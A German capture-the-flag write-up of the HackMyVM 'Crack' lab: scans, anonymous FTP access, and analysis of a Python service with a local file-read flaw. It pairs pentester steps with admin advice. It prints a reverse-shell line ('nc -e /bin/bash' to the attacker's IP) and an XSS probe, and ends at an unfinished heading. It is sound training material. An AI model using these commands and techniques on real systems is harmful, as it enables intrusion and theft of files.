Crack - HackMyVM - Easy - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
grep
wget
nikto
gobuster
nc
ll (ls -la alias)
cd
cat
ftp
telnet
curl
chmod
touch
tr
hydra
find
getcap
uname
which
python3
stty
fg
reset
ss
echo
mkdir
ssh
php (versucht)
sudo
dirb
awk
sed
nano

Inhaltsverzeichnis

Reconnaissance

Initial gestartet mit einem ARP-Scan, um aktive Hosts im lokalen Netzwerksegment zu identifizieren.

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.116	08:00:27:92:df:1a	PCS Systemtechnik GmbH

**Analyse:** Der Befehl `arp-scan -l` sendet ARP-Requests an alle möglichen Adressen im lokalen Netzwerk (-l steht für --localnet) und listet die antwortenden Hosts auf. Das Ergebnis zeigt einen Host mit der IP-Adresse 192.168.2.116 und der MAC-Adresse 08:00:27:92:df:1a. Der Hersteller der Netzwerkkarte (PCS Systemtechnik GmbH) ist oft ein Hinweis auf Virtualisierungssoftware (in diesem Fall typisch für VirtualBox).

**Bewertung:** Erfolgreiche Identifizierung eines potenziellen Ziels im Netzwerk. Die Information über den Hersteller ist ein erster, wenn auch kleiner, Hinweis auf die Art des Systems.

**Empfehlung (Pentester):** Die gefundene IP-Adresse ist das primäre Ziel für weitere Scans. Notieren Sie sich die MAC-Adresse für eventuelle spätere Referenzen.
**Empfehlung (Admin):** Netzwerksegmentierung und ARP-Spoofing-Schutz können die Effektivität solcher Scans einschränken. Überwachen Sie ARP-Anfragen im Netzwerk auf ungewöhnliche Aktivitäten.

Um die spätere Ansprache des Ziels zu vereinfachen, wird ein Eintrag in der lokalen `/etc/hosts`-Datei hinzugefügt.

┌──(root㉿cyber)-[~] └─# vi /etc/hosts
127.0.0.1	localhost
127.0.1.1	cyber


     #    192.168.2.114    hackmeplease.hmv
     #    192.168.2.110    earth.local terratest.earth.local
     #    192.168.2.123    vikings.vuln
          192.168.2.116    crack.hmv
     #    192.168.2.118	   deathnote.local deathnote.vuln
     #    192.168.2.119    evilbox.local
     #    192.168.2.120    doubletrouble.vuln localhost.com
     #    192.168.2.122	   corrosion.vuln
     #    192.168.2.124    nivek.vuln
     #    192.168.2.125	   basic.vuln
     #    192.168.2.126    keyring.vuln
     #    192.168.2.127	   vulncms.vuln fsociety.web
     #    192.168.2.128	   venus.vuln fsociety.web fsociety
     #    192.168.2.129	   venom.vuln venom.box
     #    192.168.2.131    android.vuln
     #    192.168.2.132    momentum.vuln
     #    192.168.2.133    thor.vuln
     #    192.168.2.134	   cereal.vuln cereal.ctf secure.cereal.ctf
     #    192.168.2.135    born2root.vuln
     #    192.168.2.136    raix.vuln
     #    192.168.2.137	   bsides.vuln
     #    192.168.2.138    days.vuln

**Analyse:** Der Befehl `vi /etc/hosts` öffnet die Hosts-Datei im Texteditor `vi`. In dieser Datei werden IP-Adressen manuell Hostnamen zugeordnet. Hier wird der IP 192.168.2.116 der Name `crack.hmv` zugewiesen. Dies ermöglicht es, das Zielsystem fortan über den Namen `crack.hmv` statt der IP-Adresse anzusprechen.

**Bewertung:** Eine nützliche Convenience-Maßnahme, die die Lesbarkeit von Befehlen und die Organisation des Pentests verbessert. Sie hat keine direkte Auswirkung auf die Sicherheit des Zielsystems.

**Empfehlung (Pentester):** Verwenden Sie immer Hostnamen in Ihren Befehlen, sobald sie definiert sind. Das erleichtert die Nachvollziehbarkeit und Anpassung, falls sich IP-Adressen ändern.
**Empfehlung (Admin):** Dies ist eine rein clientseitige Konfiguration auf dem Rechner des Pentesters und erfordert keine Maßnahmen auf dem Server.

Ein schneller Nmap-Scan wird durchgeführt, um nur die offenen Ports zu identifizieren.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -sV -T5 -A 192.168.2.116 -p- | grep open
21/tcp    open  ftp      vsftpd 3.0.3
4200/tcp  open  ssl/http ShellInABox
12359/tcp open  unknown

**Analyse:** Dieser Nmap-Befehl führt einen TCP SYN Scan (`-sS`) über alle Ports (`-p-`) mit aggressiver Geschwindigkeit (`-T5`) durch. Zusätzlich werden Standard-Skripte (`-sC`), Versionserkennung (`-sV`) und Betriebssystemerkennung/Traceroute (`-A`) aktiviert. Die Ausgabe wird mittels `grep open` gefiltert, um nur die Zeilen anzuzeigen, die offene Ports enthalten. Drei offene Ports wurden identifiziert: 21 (FTP, vsftpd 3.0.3), 4200 (HTTPS, ShellInABox) und 12359 (unbekannter Dienst).

**Bewertung:** Sehr effizienter erster Scan, um einen schnellen Überblick über die offenen Dienste zu erhalten. Die identifizierten Dienste (FTP, ShellInABox, unbekannt) bilden die primären Angriffsvektoren.

**Empfehlung (Pentester):** Notieren Sie die offenen Ports und die erkannten Dienste/Versionen. Der unbekannte Dienst auf Port 12359 erfordert besondere Aufmerksamkeit.
**Empfehlung (Admin):** Firewall-Regeln überprüfen. Ist es notwendig, dass diese Ports (insbesondere 12359) von außen erreichbar sind? Nicht benötigte Dienste sollten deaktiviert oder durch eine Firewall blockiert werden.

Ein detaillierter Nmap-Scan wird durchgeführt, um umfassende Informationen über die offenen Ports und Dienste zu sammeln.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -sV -T5 -A 192.168.2.116 -p-
Nmap scan report for crack.hmv (192.168.2.116)
Host is up (0.00011s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE  VERSION
21/tcp    open  ftp      vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ffff:192.168.2.137
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx    2 0        0            4096 Jun 07 14:40 upload [NSE: writeable]
4200/tcp  open  ssl/http ShellInABox
|_http-title: Shell In A Box
| ssl-cert: Subject: commonName=crack
| Not valid before: 2023-06-07T10:20:13
|_Not valid after:  2043-06-02T10:20:13
|_ssl-date: TLS randomness does not represent time
12359/tcp open  unknown
| fingerprint-strings:
|   GenericLines:
|     File to read:NFile to read:
|   NULL:
|_    File to read:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port12359-TCP:V=7.93%I=7%D=6/20%Time=6491A4B3%P=x86_64-pc-linux-gnu%r(N
SF:ULL,D,"File\x20to\x20read:")%r(GenericLines,1C,"File\x20to\x20read:NFi
SF:le\x20to\x20read:");
MAC Address: 08:00:27:92:DF:1A (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Unix

TRACEROUTE
HOP RTT     ADDRESS
1   0.11 ms crack.hmv (192.168.2.116)

**Analyse:** Die vollständige Ausgabe des Nmap-Scans bestätigt die offenen Ports 21, 4200 und 12359.

Die Betriebssystemerkennung deutet auf ein Linux-System (Kernel 4.x oder 5.x) hin. Die MAC-Adresse bestätigt die Vermutung einer VirtualBox VM.

**Bewertung:** Hochkritisch. Der anonyme, beschreibbare FTP-Zugang ist eine erhebliche Schwachstelle. ShellInABox stellt eine Login-Schnittstelle dar, die potenziell für Brute-Force-Angriffe anfällig ist. Der unbekannte Dienst auf Port 12359 ist verdächtig und muss genauer untersucht werden – die empfangenen Strings ("File to read:") sind ein starker Hinweis auf seine Funktion.

**Empfehlung (Pentester):** 1. Untersuche den FTP-Server: Logge dich anonym ein, prüfe den Inhalt des `upload`-Verzeichnisses und teste die Schreibrechte. 2. Untersuche ShellInABox: Versuche Standard-Logins oder Brute-Force (falls erlaubt). 3. Untersuche Port 12359: Interagiere manuell mit dem Dienst (z.B. mit `nc` oder `telnet`), um seine Funktionsweise zu verstehen. Die Zeichenkette "File to read:" legt nahe, Dateipfade zu senden.
**Empfehlung (Admin):** 1. **Dringend:** Deaktiviere den anonymen FTP-Zugang oder entferne zumindest die Schreibrechte für den anonymen Benutzer im `upload`-Verzeichnis. 2. Härte ShellInABox: Verwende starke Passwörter, implementiere eventuell 2FA oder beschränke den Zugriff auf bestimmte IP-Adressen. 3. Analysiere den Dienst auf Port 12359: Identifiziere den Prozess, der auf diesem Port lauscht. Wenn er nicht benötigt wird, deaktiviere ihn. Wenn er benötigt wird, stelle sicher, dass er sicher konfiguriert ist und keine Sicherheitslücken aufweist (z.B. Path Traversal, Command Injection).

Download aller Dateien vom FTP-Server via anonymem Login mithilfe von `wget`.

┌──(root㉿cyber)-[~] └─# wget -r ftp://anonymous:anonymous@192.168.2.116
--2023-06-20 15:12:14--  ftp://anonymous:password@192.168.2.116/
           => 192.168.2.116/.listing
Verbindungsaufbau zu 192.168.2.116:21 … verbunden.
Anmelden als anonymous … Angemeldet!
> SYST ... fertig.    > PWD ... fertig.
> TYPE I ... fertig.  > CWD nicht notwendig.
> PASV ... fertig.    > LIST ... fertig.

192.168.2.116/.list     [ <=>                ]     183  --.-KB/s    in 0s

2023-06-20 15:12:14 (76,4 MB/s) - 192.168.2.116/.listing gespeichert [183]

192.168.2.116/.listing gelöscht.
--2023-06-20 15:12:14--  ftp://anonymous:password@192.168.2.116/upload/
           => 192.168.2.116/upload/.listing
> CWD (1) /upload ... fertig.
> PASV ... fertig.    > LIST ... fertig.

192.168.2.116/uploa     [ <=>                ]     185  --.-KB/s    in 0s

2023-06-20 15:12:14 (94,2 MB/s) - 192.168.2.116/upload/.listing gespeichert [185]

192.168.2.116/upload/.listing gelöscht.
--2023-06-20 15:12:14--  ftp://anonymous:password@192.168.2.116/upload/crack.py
           => 192.168.2.116/upload/crack.py
> CWD nicht erforderlich.
> PASV ... fertig.    > RETR crack.py ... fertig.
Länge: 849

192.168.2.116/uploa 100%[<=>                 ]     849  --.-KB/s    in 0s

2023-06-20 15:12:14 (6,28 MB/s) - 192.168.2.116/upload/crack.py gespeichert [849]

BEENDET --2023-06-20 15:12:14--
Verstrichene Zeit: 0,008s
Geholt: 1 Dateien, 849 in 0s (6,09 MB/s)

**Analyse:** Der Befehl `wget -r ftp://anonymous:anonymous@192.168.2.116` versucht, rekursiv (`-r`) alle Dateien vom FTP-Server unter der angegebenen Adresse herunterzuladen, wobei der Benutzername `anonymous` und das (beliebige, hier ebenfalls `anonymous` verwendete) Passwort `anonymous` benutzt werden. Die Ausgabe zeigt, dass `wget` sich erfolgreich anonym anmeldet und das Verzeichnis `/upload` findet. In diesem Verzeichnis wird die Datei `crack.py` (849 Bytes) entdeckt und heruntergeladen.

**Bewertung:** Dieser Schritt bestätigt den anonymen Lesezugriff auf den FTP-Server und liefert die Datei `crack.py`. Diese Datei ist potenziell sehr wertvoll, da sie Code enthalten könnte, der Schwachstellen aufweist oder Hinweise auf die Funktionsweise des Systems gibt.

**Empfehlung (Pentester):** Analysiere den Inhalt der heruntergeladenen Datei `crack.py` sorgfältig. Suche nach hartcodierten Zugangsdaten, unsicherer Logik oder Hinweisen auf andere Dienste/Funktionen.
**Empfehlung (Admin):** Überprüfe die Notwendigkeit der Datei `crack.py` auf dem FTP-Server. Falls sie nicht benötigt wird, entferne sie. Stelle sicher, dass keine sensiblen Informationen oder ausführbarer Code über anonymen FTP-Zugriff verfügbar sind.

Web/Service Enumeration

Untersuchung des Webservers auf Port 4200 (ShellInABox) mit Nikto auf bekannte Schwachstellen und Fehlkonfigurationen.

┌──(root㉿cyber)-[~] └─# nikto -h 192.168.2.116:4200
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.116
+ Target Hostname:    192.168.2.116
+ Target Port:        4200
---------------------------------------------------------------------------
+ SSL Info:        Subject:  /CN=192.168.2.116
                   Ciphers:  TLS_AES_256_GCM_SHA384
                   Issuer:   /CN=192.168.2.116
+ Start Time:         2023-06-20 15:11:28 (GMT2)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The site uses TLS and the Strict-Transport-Security HTTP header is not defined. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ All CGI directories 'found', use '-C none' to test none
+ /: The Content-Encoding header is set to "deflate" which may mean that the server is vulnerable to the BREACH attack. See: http://breachattack.com/
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS .
+ /guestbook/?number=5&lng=%3Cscript%3Ealert(document.domain);%3C/script%3E: MPM Guestbook 1.2 and previous are vulnreable to XSS attacks. See: OSVDB-2754

**Analyse:** Nikto scannt den Webserver auf Port 4200 (`-h 192.168.2.116:4200`). Da der Dienst über HTTPS läuft, analysiert Nikto auch das SSL-Zertifikat. Folgende Punkte wurden gemeldet:

**Bewertung:** Mittel. Die fehlenden Security-Header stellen Best-Practice-Verstöße dar und können die Sicherheit der Anwendung schwächen (z.B. Clickjacking). Die potenzielle BREACH-Anfälligkeit ist theoretischer Natur und schwer auszunutzen. Der XSS-Fund ist wahrscheinlich irrelevant für ShellInABox.

**Empfehlung (Pentester):** Notieren Sie die fehlenden Header als Findings. Der XSS-Fund kann ignoriert werden, es sei denn, weitere Enumeration bestätigt einen Pfad `/guestbook`. Konzentriere dich auf die Login-Funktionalität von ShellInABox.
**Empfehlung (Admin):** Implementiere die fehlenden HTTP-Security-Header (`X-Frame-Options: DENY` oder `SAMEORIGIN`, `Strict-Transport-Security: max-age=31536000; includeSubDomains`, `X-Content-Type-Options: nosniff`) in der Webserver-Konfiguration für Port 4200, um die allgemeine Sicherheit zu erhöhen.

Versuch, Verzeichnisse und Dateien auf dem Webserver (Port 4200) mittels Gobuster zu finden, zunächst unter Verwendung des Hostnamens.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://crack.hmv:4200 -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://crack.hmv:4200
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   403,404
[+] User Agent:              gobuster/3.5
[+] Extensions:              ps1,py,dll,php,rar,db,asp,rtf,accdb,jpeg,jpg,csv,xlsx,html,raw,kdbx,txt,xls,sql,pl,gz,pub,bat,xml,tar,doc,aspx,pdf,bak,zip,mdb,sh,png,phtml,docx,exe
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2023/06/20 15:33:20 Starting gobuster in directory enumeration mode
===============================================================

Error: error on running gobuster: unable to connect to http://crack.hmv:4200/: Get "http://crack.hmv:4200/": EOF

**Analyse:** Gobuster wird im Verzeichnis-Modus (`dir`) gestartet, um die URL `http://crack.hmv:4200` zu scannen (`-u`). Es verwendet eine umfangreiche Liste von Dateiendungen (`-x`) und eine mittelgroße Wordlist (`-w`). Statuscodes 403 und 404 werden ignoriert (`-b '403,404'`), und es wird versucht, URLs auch ohne Slash am Ende zu finden (`-e`). Der Scan schlägt jedoch mit einem `unable to connect... EOF` Fehler fehl. Der Grund ist, dass Gobuster versucht, eine HTTP-Verbindung aufzubauen, der Dienst auf Port 4200 aber HTTPS erwartet (wie Nmap und Nikto zeigten).

**Bewertung:** Niedrig. Der Scan schlug aufgrund einer Fehlkonfiguration des Befehls fehl (HTTP statt HTTPS). Es wurden keine verwertbaren Ergebnisse erzielt.

**Empfehlung (Pentester):** Wiederhole den Gobuster-Scan mit der korrekten URL, d.h. `https://crack.hmv:4200` oder `https://192.168.2.116:4200`. Füge außerdem die Option `-k` hinzu, um die Überprüfung des selbstsignierten SSL-Zertifikats zu überspringen.
**Empfehlung (Admin):** Keine direkten Maßnahmen erforderlich, da der Scan fehlschlug. Die Verwendung von HTTPS ist korrekt.

Zweiter Versuch mit Gobuster auf Port 4200, diesmal unter Verwendung der IP-Adresse, aber immer noch mit HTTP.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.116:4200 -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.116:4200
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   403,404
[+] User Agent:              gobuster/3.5
[+] Extensions:              rar,mdb,jpg,html,csv,dll,bak,php,pub,accdb,exe,pl,png,xml,xls,sql,db,asp,docx,jpeg,xlsx,txt,zip,doc,ps1,sh,raw,rtf,kdbx,tar,aspx,gz,pdf,bat,py,phtml
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2023/06/20 15:33:29 Starting gobuster in directory enumeration mode
===============================================================

Error: error on running gobuster: unable to connect to http://192.168.2.116:4200/: Get "http://192.168.2.116:4200/": EOF

**Analyse:** Identischer Gobuster-Befehl wie zuvor, nur dass diesmal die IP-Adresse `192.168.2.116` statt des Hostnamens `crack.hmv` verwendet wird. Das Ergebnis ist dasselbe: Der Scan schlägt mit einem `EOF`-Fehler fehl, da weiterhin HTTP statt HTTPS verwendet wird.

**Bewertung:** Niedrig. Gleicher Fehler wie zuvor, keine Ergebnisse.

**Empfehlung (Pentester):** Siehe vorherige Empfehlung. Verwende `https://192.168.2.116:4200 -k`.
**Empfehlung (Admin):** Keine Maßnahmen erforderlich.

Versuch, Verzeichnisse auf dem unbekannten Dienst auf Port 12359 mit Gobuster zu finden (HTTP).

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://crack.hmv:12359 -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error

gobuster

**Analyse:** Erneuter Gobuster-Versuch, diesmal gegen den unbekannten Dienst auf Port 12359 unter der Annahme, es könnte sich um einen HTTP-basierten Dienst handeln. Die Ausgabe ist unvollständig und deutet darauf hin, dass der Scan entweder fehlschlug, keine Ergebnisse lieferte oder manuell abgebrochen wurde. Da der Nmap-Scan zeigte, dass dieser Port nicht auf HTTP reagiert, ist ein Fehlschlag wahrscheinlich.

**Bewertung:** Niedrig. Der Versuch, Gobuster auf einem Nicht-HTTP-Port zu verwenden, ist nicht zielführend. Keine Ergebnisse.

**Empfehlung (Pentester):** Verwende für die Interaktion mit dem Dienst auf Port 12359 Werkzeuge wie `nc` oder `telnet`, basierend auf den Hinweisen aus dem Nmap-Scan ("File to read:"). Directory Busting ist hier unangebracht.
**Empfehlung (Admin):** Keine Maßnahmen erforderlich.

Manuelle Prüfung der Erreichbarkeit von Port 4200 mit Netcat.

┌──(root㉿cyber)-[/media/sf_15._Gemeinsam/wordlists] └─# nc -vv 192.168.2.116 4200
crack.hmv [192.168.2.116] 4200 (?) open
^C sent 0, rcvd 0

**Analyse:** Der Befehl `nc -vv 192.168.2.116 4200` versucht, eine TCP-Verbindung zum Ziel auf Port 4200 herzustellen und gibt dabei ausführliche Meldungen aus (`-vv`). Die Ausgabe `open` bestätigt, dass der Port offen ist und eine Verbindung aufgebaut werden konnte. Die Verbindung wurde danach manuell mit Strg+C (`^C`) beendet.

**Bewertung:** Bestätigt die Erreichbarkeit des Ports, liefert aber keine neuen Informationen über den Dienst selbst.

**Empfehlung (Pentester):** Dies bestätigt die Ergebnisse des Nmap-Scans. Die weitere Interaktion sollte über einen Browser (HTTPS) oder spezialisierte Tools erfolgen.
**Empfehlung (Admin):** Keine Maßnahmen erforderlich.

Manuelle Prüfung der Erreichbarkeit von Port 12359 mit Netcat.

┌──(root㉿cyber)-[/media/sf_15._Gemeinsam/wordlists] └─# nc -vv 192.168.2.116 12359
crack.hmv [192.168.2.116] 12359 (?) open
^C sent 0, rcvd 0

**Analyse:** Analog zum vorherigen Schritt wird mit `nc -vv 192.168.2.116 12359` die Verbindung zu Port 12359 getestet. Auch hier bestätigt `open`, dass der Port erreichbar ist. Die Verbindung wurde ebenfalls manuell beendet (`^C`). Es wurde kein Versuch unternommen, Daten zu senden (z.B. einen Dateinamen), wie vom Nmap-Scan suggeriert.

**Bewertung:** Bestätigt die Erreichbarkeit des unbekannten Dienstes.

**Empfehlung (Pentester):** Der nächste logische Schritt ist, eine Verbindung mit `nc` oder `telnet` aufzubauen und zu versuchen, einen Dateinamen zu senden, um die Reaktion des Dienstes zu beobachten.
**Empfehlung (Admin):** Keine Maßnahmen erforderlich, aber die Notwendigkeit dieses offenen Ports sollte dringend geklärt werden.

Initial Access

Navigation in das Verzeichnis, in das `wget` zuvor die Dateien vom FTP-Server heruntergeladen hat, und Auflisten des Inhalts.

┌──(root㉿cyber)-[~] └─# ll
insgesamt 4
drwxr-xr-x 3 root root 4096 20. Jun 15:12 192.168.2.116
┌──(root㉿cyber)-[~] └─# cd 192.168.2.116
 
                
┌──(root㉿cyber)-[~/192.168.2.116] └─# ll
insgesamt 4
drwxr-xr-x 2 root root 4096 20. Jun 15:12 upload
┌──(root㉿cyber)-[~/192.168.2.116] └─# cd upload
 
                
┌──(root㉿cyber)-[~/192.168.2.116/upload] └─# ll
insgesamt 4
-rw-r--r-- 1 root root 849  7. Jun 14:40 crack.py

**Analyse:** Die Befehle `ll` (Alias für `ls -la`) und `cd` werden verwendet, um durch die Verzeichnisstruktur zu navigieren, die `wget` angelegt hat. Es wird bestätigt, dass im Verzeichnis `~/192.168.2.116/upload/` die Datei `crack.py` liegt.

**Bewertung:** Einfache Dateisystemnavigation zur Lokalisierung der zuvor heruntergeladenen Datei.

**Empfehlung (Pentester):** Nun den Inhalt von `crack.py` analysieren.
**Empfehlung (Admin):** Keine Maßnahmen erforderlich.

Analyse des Inhalts der heruntergeladenen Python-Datei.

┌──(root㉿cyber)-[~/192.168.2.116/upload] └─# cat crack.py
import os
import socket
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
port = 12359
s.bind(('', port))
s.listen(50)

c, addr = s.accept()
no = "N"
while True:
        try:
                c.send('File to read:'.encode())
                data = c.recv(1024)
                file = (str(data, 'utf-8').strip())
                filename = os.path.basename(file)
                check = "/srv/ftp/upload/"+filename
                if os.path.isfile(check) and os.path.isfile(file):
                        f = open(file,"r")
                        lines = f.readlines()
                        lines = str(lines)
                        lines = lines.encode()
                        c.send(lines)
                else:
                        c.send(no.encode())
        except ConnectionResetError:
                pass

**Analyse:** Der Befehl `cat crack.py` zeigt den Quellcode des Python-Skripts an. Das Skript öffnet einen Socket auf Port 12359, wartet auf eine Verbindung und tritt dann in eine Endlosschleife ein: 1. Es sendet die Zeichenkette "File to read:" an den Client. 2. Es empfängt Daten vom Client (maximal 1024 Bytes), interpretiert diese als Dateipfad (`file`). 3. Es extrahiert den Basisnamen der Datei (`filename = os.path.basename(file)`). 4. Es konstruiert einen Pfad (`check`) im FTP-Upload-Verzeichnis (`/srv/ftp/upload/`). 5. **Schwachstelle:** Es prüft, ob **sowohl** die Datei im FTP-Upload-Verzeichnis (`os.path.isfile(check)`) **als auch** die vom Benutzer angegebene Datei (`os.path.isfile(file)`) existieren. 6. Wenn beide Bedingungen erfüllt sind, öffnet es die vom Benutzer angegebene Datei (`file`), liest deren Inhalt und sendet ihn an den Client. 7. Andernfalls sendet es ein "N" zurück. Die Funktion `os.path.basename()` verhindert einfaches Path Traversal (`../`), aber die Logik selbst stellt eine Local File Inclusion (LFI)-Schwachstelle dar: Wenn man den Namen einer Datei im Upload-Verzeichnis kennt (z.B. `passwd`, wenn wir sie dort erstellen), kann man den *vollen Pfad* zu einer *anderen* Datei auf dem System angeben (z.B. `/etc/passwd`), und wenn beide existieren, wird der Inhalt der angeforderten Datei (`/etc/passwd`) zurückgegeben.

**Bewertung:** Kritisch. Das Skript enthält eine klare LFI-Schwachstelle. Die Bedingung, dass eine gleichnamige Datei im FTP-Upload-Verzeichnis existieren muss, macht die Ausnutzung etwas komplizierter, aber durch den beschreibbaren anonymen FTP-Zugang ist diese Bedingung erfüllbar.

**Empfehlung (Pentester):** Nutze die Schwachstelle aus: 1. Erstelle eine leere Datei mit einem bekannten Namen (z.B. `passwd`) auf deinem Rechner. 2. Lade diese leere Datei per anonymem FTP in das `/upload`-Verzeichnis auf dem Zielserver hoch. 3. Verbinde dich mit `nc` oder `telnet` zu Port 12359. 4. Sende den Pfad `/etc/passwd` (oder andere interessante Dateien wie `/etc/shadow`, SSH-Keys etc.). 5. Der Inhalt der Datei sollte zurückgegeben werden.
**Empfehlung (Admin):** Das Skript muss dringend überarbeitet oder entfernt werden. 1. **Entfernen:** Wenn das Skript nicht benötigt wird, lösche es und schließe Port 12359. 2. **Überarbeiten:** * Niemals Benutzereingaben direkt als Dateipfade verwenden. * Verwende eine Whitelist von erlaubten Dateien/Verzeichnissen. * Führe das Skript mit minimalen Rechten aus. * Entferne die Abhängigkeit vom FTP-Upload-Verzeichnis. * Implementiere robuste Eingabevalidierung und Fehlerbehandlung. 3. **FTP härten:** Entferne anonyme Schreibrechte (siehe vorherige Empfehlungen).

Verbindung zum FTP-Server, um die Umgebung zu untersuchen und zu versuchen, Dateien hochzuladen.

┌──(root㉿cyber)-[~/192.168.2.116/upload] └─# ftp 192.168.2.116
Connected to 192.168.2.116.
220 (vsFTPd 3.0.3)
Name (192.168.2.116:cyber): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

ftp> ls -la
229 Entering Extended Passive Mode (|||11211|)
150 Here comes the directory listing.
drwxr-xr-x    3 0        114          4096 Jun 07 12:22 .
drwxr-xr-x    3 0        114          4096 Jun 07 12:22 ..
drwxrwxrwx    2 0        0            4096 Jun 07 14:40 upload
226 Directory send K.

ftp> put crack.py
local: crack.py remote: crack.py
229 Entering Extended Passive Mode (|||42175|)
553 Could not create file. 

ftp> cd /home
550 Failed to change directory. 

**Analyse:** Es wird eine FTP-Verbindung zum Zielserver aufgebaut und sich erfolgreich anonym angemeldet (leeres Passwort). Der Befehl `ls -la` zeigt das Wurzelverzeichnis des FTP-Servers, das ein Verzeichnis `upload` mit Vollzugriff (`drwxrwxrwx`) enthält. Der Versuch, die Datei `crack.py` in das Wurzelverzeichnis hochzuladen (`put crack.py`), scheitert mit Fehler 553 ("Could not create file"), da hier keine Schreibrechte bestehen. Der Versuch, in das `/home`-Verzeichnis zu wechseln (`cd /home`), scheitert ebenfalls (Fehler 550), wahrscheinlich aufgrund fehlender Berechtigungen oder weil das Verzeichnis für den FTP-Benutzer nicht sichtbar ist.

**Bewertung:** Bestätigt den anonymen Login und die Existenz des beschreibbaren `upload`-Verzeichnisses. Zeigt aber auch, dass Schreibrechte auf das Wurzelverzeichnis beschränkt sind.

**Empfehlung (Pentester):** Wechsle in das `upload`-Verzeichnis (`cd upload`) und versuche dort, Dateien hochzuladen. Dieses Verzeichnis ist der Schlüssel zur Ausnutzung der LFI im Python-Skript.
**Empfehlung (Admin):** Anonyme Schreibrechte sollten generell vermieden werden. Wenn sie unbedingt erforderlich sind, beschränke sie auf das Nötigste und überwache das Verzeichnis sorgfältig. Konfiguriere vsftpd so, dass Benutzer nicht in Verzeichnisse außerhalb ihres erlaubten Bereichs wechseln können (chroot jail).

Erster Versuch, mit dem Dienst auf Port 12359 via Telnet zu interagieren.

┌──(root㉿cyber)-[~/192.168.2.116/upload] └─# telnet 192.168.2.116 12359
Trying 192.168.2.116...
Connected to 192.168.2.116.
Escape character is '^]'.

id
ls
ls
id

^C^S^S^S^S^S^C^Cquit
quit
q
^C
dsvdvdsv
pass
nc -e /bin/bash 192.168.2.137 5555
import os;
os.system('ls -la');
^C 

**Analyse:** Eine Telnet-Verbindung zu Port 12359 wird aufgebaut. Der Server sendet jedoch nicht sofort die erwartete "File to read:" Nachricht (oder sie wird hier in der Ausgabe nicht gezeigt). Es werden verschiedene Befehle (`id`, `ls`, `quit`, `nc ...`, Python-Code) eingegeben, aber keiner führt zu einer sichtbaren Reaktion oder einem Ergebnis. Dies liegt daran, dass das Skript auf einen Dateinamen wartet und diese Eingaben nicht als solche interpretiert oder verarbeitet.

**Bewertung:** Niedrig. Dieser Interaktionsversuch war nicht erfolgreich, da die Funktionsweise des Skripts (Warten auf Dateinamen) noch nicht berücksichtigt wurde.

**Empfehlung (Pentester):** Sende gültige Dateinamen (oder vermutete Pfade), nachdem die Verbindung hergestellt wurde, wie durch die Analyse von `crack.py` und den Nmap-Scan nahegelegt.
**Empfehlung (Admin):** Keine Maßnahmen erforderlich, außer der bereits erwähnten Überprüfung des Dienstes.

Zweiter, gezielterer Versuch, mit Telnet auf Port 12359 zu interagieren und Dateipfade zu senden.

